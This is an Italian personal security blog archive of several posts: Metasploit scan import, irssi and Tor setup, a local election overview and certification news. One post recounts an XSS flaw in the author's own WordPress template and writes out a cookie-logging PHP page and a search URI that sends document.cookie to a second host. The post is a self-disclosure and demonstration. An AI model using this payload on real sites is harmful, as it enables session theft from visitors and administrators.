Risultati: Amministrative 6-7 giugno di Osimo
Ecco dove trovare i risultati delle elezioni:
Fonte: Osimo
Ecco dove trovare i risultati delle elezioni:
Fonte: Osimo
Dopo aver letto come installare e aggiornare Nessus in questo post, vediamo ora come poterlo utilizzare con il framework di Metasploit. Una guida molto interessante per muovere i primi passi la trovate sul sito del mio amico Andrea.
Lanciamo Nessus e dopo aver effettuato la connessione, proprio perchè lavoriamo in modalità client server, procediamo con la scansione del target. Terminata l’analisi possiamo salvare il tutto in un file con estensione .nbe, proprio come mostra l’immagine:
A questo punto colleghiamoci alla console di Metasploit e diamogli come input il file appena creato. Per far questo è necessario creare un database (nel mio caso ho utilizzato mysql, tuttavia supporta anche postgres e sqlite) dove poter importare i dati di Nessus. Niente di più semplice:
msf > db_driver mysql [*] Using database driver mysql msf > db_create root:pwd@localhost/host1 msf > db_import_nessus_nbe /root/Documents/scansioni/host1.nbe
Ora avremo Metasploit con il database “host1″ caricato e pronto per essere lanciato. Vediamo infatti nell’immagine successiva come abbia riconosciuto l’host e i servizi precedentemente individuati da Nessus:
Ovviamente è possibile fare la stessa cosa anche Nmap. L’importante è eseguire una scansione con l’opzione -oX in modo che la salvi in file xml. Poi il procedimento con Metasploit rimane pressochè identico, tranne per il fatto che utilizzeremo il comando db_import_nmap_xml per importare l’xml.
Il vantaggio di lavorare con i database sta nella possibilità di scindere la fase di auditing rispetto a quella dell’attacco vero e proprio in modo che il pen tester non debba successivamente ripetere le operazioni fatte nello step precedente.

Facciamo un po di chiarezza.
Il giorno 6-7 giugno 2009 i cittadini osimani saranno chiamati a votare il nuovo sindaco in carica per 5 anni.
La passata amministrazione vedeva capo guida l’avv. Dino Latini.
Un elenco completo della vecchia schiera lo trovate qui.
Conosciamo da più vicino i nuovi candidati:
Fin qui, la mia è stata solo una raccolta di informazioni apolitica in modo che il cittadino medio possa avere un minimo di conoscenza critica sulle persone che andrà a votare.
Considerazioni Personali:
Buona presenza della Andreoni sul web con tanto di blog e sito personale, dove è possibile leggere uno stralcio del suo CV. Ottimo strumento almeno per avere una minima idea di chi si vota. Tuttavia c’è troppa confusione di informazione, generalizzazione eccessiva e non c’è la presenza di un documento che indichi le specifiche linee guida che intende adottare. Viceversa Buccelli ha reso disponibile nella home del sito un buon documento, che se pur sintetico illustra quello che si impegna a fare. Carente nell’immagine personale: io non so chi sia e cosa abbia fatto in passato! Speculare la figura di Osimani.
Passate le sufficienze proseguiamo con gli altri. Discreta presenza di Bompadre sul sito del proprio partito, ma soffre di carenza di informazione specifica sulla linea che intende adottare. Informazioni sulla persona rintracciabili attraverso altri siti dipingono il personaggio più folcloristico che leader di un partito. Pessimo Simoncini dove l’unica presenza in rete è un pagina web statica! Se non fosse per la passata amministrazione di vice-sindaco nessuno lo conoscerebbe. Ancor più deprimente sono Secchiaroli, Buscarini, Giuliodori e Cartuccia! Non un straccio di sito, non un straccio di blog… nulla!
Concludo con una domanda retorica:
Che senso ha imbrattare Osimo di affissioni killer quando basterebbe una semplice e chiara pagina web dove si elenca il proprio progetto politico con tanto di curriculum sulla persona?
Buon voto a tutti e che vinca il migliore!
NB:
Le considerazioni personali sono state fatte il giorno della pubblicazione del post non valutando quindi le correzioni fatte successivamente.
Correzioni:
11/5/2009: Aggiunto sito Secchiaroli
12/5/2009: Aggiunto sito Cartuccia
Interessante studio eseguito sulla botnet Torpig da parte della Computer Security Group, University of California. Invito assolutamente a leggere riga per riga il paper. Buona lettura
Fonte: qui
In questo post vediamo velocemente come configurare Irssi, un client IRC da shell.
Se utilizzate una distro Debian based, per installare il pacchetto basta semplicemente digitare:
# apt-get install irssi
Altrimenti, possiamo installarlo direttamente dai sorgenti presenti sul sito ufficiale, proprio qui.
Dopo aver terminato l’installazione, lanciamo il comando irssi. Ci ritroveremo davanti una console dove possiamo impartire i comandi IRC. Dunque, iniziamo con la configurazione del nick name:
/set nick maxmanzo /set alternate_nick maxmanzo_2 /set term_charset UTF-8
Salviamo il tutto:
/saveBene ora colleghiamoci ad un server:
/server irc.azzurra.net
E cerchiamo i canali che ci interessano:
/list #ubu*
Una volta scelto quello giusto, per entrare digitiamo:
/join #ubuntu
Dopo un po’ che avremo preso dimistichezza con IRC sicuramente vorremmo registrare il nostro nick name, in modo da essere universalmente riconosciuti dal server e quindi anche dagli altri utenti. Per la registrazione basta semplicemente scrivere:
/msg nickserv register passwordMentre per autenticarsi:
/msg nickserv identify passwordIn alcuni casi il server può essere case sensitive, segnalando l’effettivo comando da digitare.
Le configurazioni relative all’autenticazione, scelta del server e del channel andrebbero fatte di volta in volta.
Vediamo come è possibile automatizzare questo processo in modo che avviando semplicemente irssi saremo già autenticati in channel pronti per interagire.
Prima di tutto, scegliamo i server ai quali vogliamo connetterci e per quelli che ci siamo registrati aggiungiamo un autosend command:
/SERVER ADD -auto -network Azzurra irc.azzurra.net 6667 /SERVER ADD -auto -network Slackware irc.syrolnet.org 6667 /NETWORK ADD -autosendcmd "/^msg NickServ Identify pass;wait 2000" Azzurra
Per verificare le configurazioni utilizziamo
questi comandi:
/NETWORK list /SERVER list
Bene, ora aggiungiamo i channel al server:
/CHANNEL ADD -auto #openbsd Azzurra
Infine, ricordiamoci di salvare il tutto:
/saveAlcuni comandi utili da conoscere sono i seguenti.
Per vedere la lista degli utenti presenti nel channel:
/namesPer chattare in privato:
/query nicknamePer leggere il topic del channel:
/topicPer chiudere una finestra:
/wcPer uscire da irssi:
/exit
Inotre per spostarsi tra i canali utilizziamo “alt“+”numero“.
Ma la vera potenza di irssi sta nella possibilita di utilizzare script e temi.
Per installare un tema è necessario scaricarlo, da qui collocarlo nella directory ~/.irssi/ e digitare
/SET theme theme_nameUn esempio:

Mentre gli script li potete trovare qui. Come vedete ce ne sono tantissimi. I più utili a mio avviso sono:
Per l’installazione basta scaricare lo script nella cartella ~/.irssi/scripts e digitare:
/script load trackbar.pl
Infine per caricarli automaticamente ad ogni avvio basta creare un link alla cartella ~/.irssi/scripts/autorun/ :
# cd ~/.irssi/scripts/autorun/ # ln -s ../trackbar.pl .
Ci eri quasi riuscito…. peccato un piccolo particolare: non ho un account venditore!
Spinto dalla curiosità, ho premiato il caro Luigi e sono andato avanti.
Devo dire che la pagina è proprio ben fatta!
Inoltre da una piccola analisi dell’ip del web server ho letto il nome di una grossa azienda ITA: magari il server è stato bucato? Direi proprio di si. Proprio una pessima figura!
Non vi dico cosa ho scritto sulla password
Da oggi è presente nel mio sito la sezione books.
Una raccolta personale di libri che trattano di sicurezza informatica e networking.
Vi invito a dargli un’occhiata e allo stesso tempo di segnalarmene qualcuno che ritenete essere un must!
A presto.
Finalmente posso dire che sono OPST!
Per chi non lo sapesse l’OPST, OSSTMM Penetration Security Tester è una certificazione professionale per l’esecuzione di test di sicurezza conformi alla metodologia OSSTMM, Open Source Security Methodology Manual, pubblicata dall’ISECOM, Institute for Security and Open Methodologies, USA.
Il 9 aprile a Roma feci 5 ore (veramente frustrante) di test su macchine remote e oggi finalmente è arrivato il tanto atteso certificato!
Un paio di settimane fa stavo leggendo su internet le notizie quando ad un certo punto la mia attenzione cadde su un particolare caso di attacco XSS cross site scripting su un noto sito. Il portale in questione è di una grossa compagnia e offre un servizio di prenotazione online utilizzato da milioni di utenti tutti i giorni. Proprio per la sua grandezza e importanza mi domandai se anche il mio modesto web site soffrisse di tale vulnerabilità. Non immaginavo minimamente che una piattaforma come WordPress potesse essere bucabile… e invece!
Così quasi per sbaglio inniettai del codice java script all’interno della mia unica form: la funzione search in alto a destra. Un codice molto simile a questo:
<script>alert('Ahi ahi Michele!')</script>
E il risultato fu un “bel” alert, proprio come questo:
Capì immediatamente che il mio sito era vulnerabile!!!
Purtroppo anche il test di blogsecurify confermava questa vulnerabilità:
Così iniziai a googlare in giro per capire se altre persone con WordPress soffrissero di tale vulnerabilità. Mi accorsi che il problema era già stato affrontato in passato con le vecchie versioni 2.5 e precedenti, mentre io montavo l’ultima la 2.7.1!
A questo punto pensai che probabilmente durante un aggiornamento automatico dalla 2.7 alla 2.7.1 mi ero beccato un bel worm. Insomma avevo aggiornato una fake WordPress. In effetti un mese fa girava voce di questo finto aggiornamento di WordPress. Inoltre, ad ogni login, notavo uno strano banner nel pannello di controllo che mi diceva di aggiornare la piattaforma quando in realtà già avevo updato tutto alla 2.7.1:
Decisi allora di rinstallare WordPress 2.7.1 scaricata dal sito ufficiale, su un mio sotto-dominio http://test.manzotti.eu/wordpress con tutti i contenuti e i plugin in modo da cercare di capire se si trattasse veramente di una fake WordPress. Ma non ebbi i risultati aspettati. Anche la nuova fiammante WordPress 2.7.1 soffriva di tale vulnerabilità.
Visto che ero l’unico a soffrirne dedusi che il problema non era tanto nella piattaforma WordPress quanto nel template o i plugin che avevo caricato.
La prima cosa che mi venne in mente a questo punto fu quella di capire dove la funzione search venisse richiamata all’interno dei file php presenti nel mio ftp. Visto che non avevo nessun plugin che mi modificava gli input o i risultati di tale funzione, l’osservazione ricadde proprio nel template. Così diedi uno sguardo al file search.php del template e mi accorsi che proprio nelle prime righe si trovava un echo incontrollato che exploitava il mio sito:
[...]""<?php echo $s; ?>"[...]
Mandai immediatamente un email di notifica allo “sviluppatore” di questo template dicendogli di fixare il codice. Finora non ho ricevuto risposta. Tra l’altro mi accorsi che anche il suo sito sul qualche hostava i template era vulnerabile al XSS cross site scripting. Da questo capì perchè ancora non ho avuto risposta alla email di notifica.
Fissato il template, a questo punto mi domandai cosa realmente potesse fare un attaccante sul mio sito. Come potesse sfruttare questo buco. Mi documentai un pò e giunsi alla conclusione che tramite il XSS cross site scripting è possibile rubare i cookie di chi visita il sito, anche quelli dell’amministratore! Decisi allora di provare questa tecnica.
La teoria è semplice: si hosta una pagina php che lavora come una sorta di keylogger dei cookie. Successivamente si rindirizza l’amministratore su un link che punta al suo sito ma ignaro di tutto gli vengono sottratti i cookie.
Magari con questo caso di studio è possibile capire meglio il funzionamento. Il nostro scenario sarà di questo tipo:
http://test.manzotti.eu --> sito vulnerabile http://manzotti.eu --> sito dell'attaccante
La nostra pagina php che farà da keylogger sfruttando appunto la vulnerabilità XSS sarà come la seguente:
<?php $filename = "cookie.txt"; $handle = fopen($filename, 'a'); fwrite($handle, "\r\n" . $_GET["cookie"]); fclose($handle); Header( "Location: http://test.manzotti.eu/wordpress" ); ?>
Questo file essenzialmente eseguirà una interrogazione al browser dell’amministratore sottraendogli i cookie e successivamente scrivendoli in file cookie.txt. Infine reindirizzerà l’utente sul proprio sito. Dunque con il nostro scenario, su http://manzotti.eu avremo sia la pagina php caricata che i cookie rubati. Ora non ci resta che creare un URI ad hoc in modo che sfrutti la XSS e richiami la pagina cookie.php presente nel sito dell’attaccante. In questo modo all’amministratore verranno rubati i cookie. L’URI in questione è la seguente:
http://test.manzotti.eu/wordpress/?s=<script>location.href='http://manzotti.eu/cookie.php?cookie= '%2Bescape(document.cookie)</script>
Credo che non ci sia bisogno di spiegazione, tuttavia si vede che sfruttando la “s” della funzione search si rinderizza l’utente sul sito dell’attaccante passandogli come parametro i suoi cookie. Infine sarà la pagina cookie.php stessa a riportare l’utente sul sito vittima: http://test.manzotti.eu.
A questo punto l’attaccante potrà godersi lo spettacolo e controllare che i cookie dell’amministratore vengano registrati nel txt appena creato:
Ovviamente sarà necessario da parte dell’attaccante convincere o utilizzare altre tecniche note per far si che la vittima passi attraverso la URI contraffatta.
C’è da dire anche che WordPress autentica all’interno del pannello di controllo solamente tramite un cookie della forma:
Name: wordpress_1a2b4c5d6e7f89...abc Content: admin%1a2b3c4d5...abc Host: test.manzotti.eu Path: /wordpress/wp-admin
Di conseguenza i cookie che siamo riusciti a raccogliere precedentemente non permettono una autenticazione all’interno di questo CMS. Tuttavia questo vale per il caso specifico di WordPress e nulla vieta che in presenza di altri CMS o siti vulnerabili non otterremo i cookie giusti. Infatti la tecnica del XSS Cross Site Scripting è oggi una delle più utilizzate e insieme all’ SQL Injection costituiscono la base per effettuare attacchi di grossa rilevanza.
Vorrei aggiungere anche che non ho avuto modo di approfondire in maniera più dettagliata la questione. Quindi dalla mia dico che WordPress in questo caso si è dimostrato “sicuro”.
Mi piacerebbe sapere se qualcuno ha avuto esperienze simili e dunque spiegarmi se fosse realmente possibile raccogliere quel tipo di cookie che ho appena descritto.
In questo caso vi invito a commentare e/o contattarmi via email.
Vediamo come installare il Tor su BT4, strumento utile per la navigazione anonima sul web.
Perchè tutto funzioni avremo bisogno di:
- Tor, il demone;
- Privoxy, un proxy locale a cui collegarci;
- TorButton, un addons di Firefox per collegare il nostro browser.
Dunque apriamo una shell e digitiamo:
# apt-get install torIn questo modo installeremo anche Privoxy, poichè risulta essere una dipendenza del pacchetto Tor.
Dunque, non ci resta che installare l’addons di Firefox presente qui.
Bene, ora che abbiamo tutti i pacchetti necessari, facciamo un minimo di configurazione. In particolare modifichiamo il file di conf di Privoxy presente nel percorso “/etc/privoxy/config” proprio come il seguente:
# Generally, this file goes in /etc/privoxy/config # # Tor listens as a SOCKS4a proxy here: forward-socks4a / 127.0.0.1:9050 . confdir /etc/privoxy logdir /var/log/privoxy actionsfile standard # Internal purpose, recommended actionsfile default # Main actions file actionsfile user # User customizations filterfile default.filter # Don't log interesting things, only startup messages, warnings and errors #logfile logfile #jarfile jarfile #debug 0 # show each GET/POST/CONNECT request debug 4096 # Startup banner and warnings debug 8192 # Errors - *we highly recommended enabling this* user-manual /usr/share/doc/privoxy/user-manual listen-address 127.0.0.1:8118 toggle 1 enable-remote-toggle 0 enable-edit-actions 0 enable-remote-http-toggle 0 buffer-limit 4096
Riavviamo i servizi e Firefox:
# /etc/init.d/tor start Raising maximum number of filedescriptors (ulimit -n) to 32768. Starting tor daemon: tor... Mar 27 19:31:23.179 [notice] Tor v0.2.0.31 (r16744). This is experimental software. Do not rely on it for strong anonymity. (Running on Linux i686) Mar 27 19:31:23.180 [notice] Initialized libevent version 1.3e using method epoll. Good. Mar 27 19:31:23.181 [notice] Opening Socks listener on 127.0.0.1:9050 done. # /etc/init.d/privoxy start Starting filtering proxy server: privoxy.
A questo punto abilitiamo l’addons di Firefox e controlliamo che il tutto funzioni collegandoci a questo link.
Se vi ritorna una scritta verde indicando che il Tor è abilitato allora funziona, altrimenti provate a seguire la guida ufficiale qui.
Buona navigazione!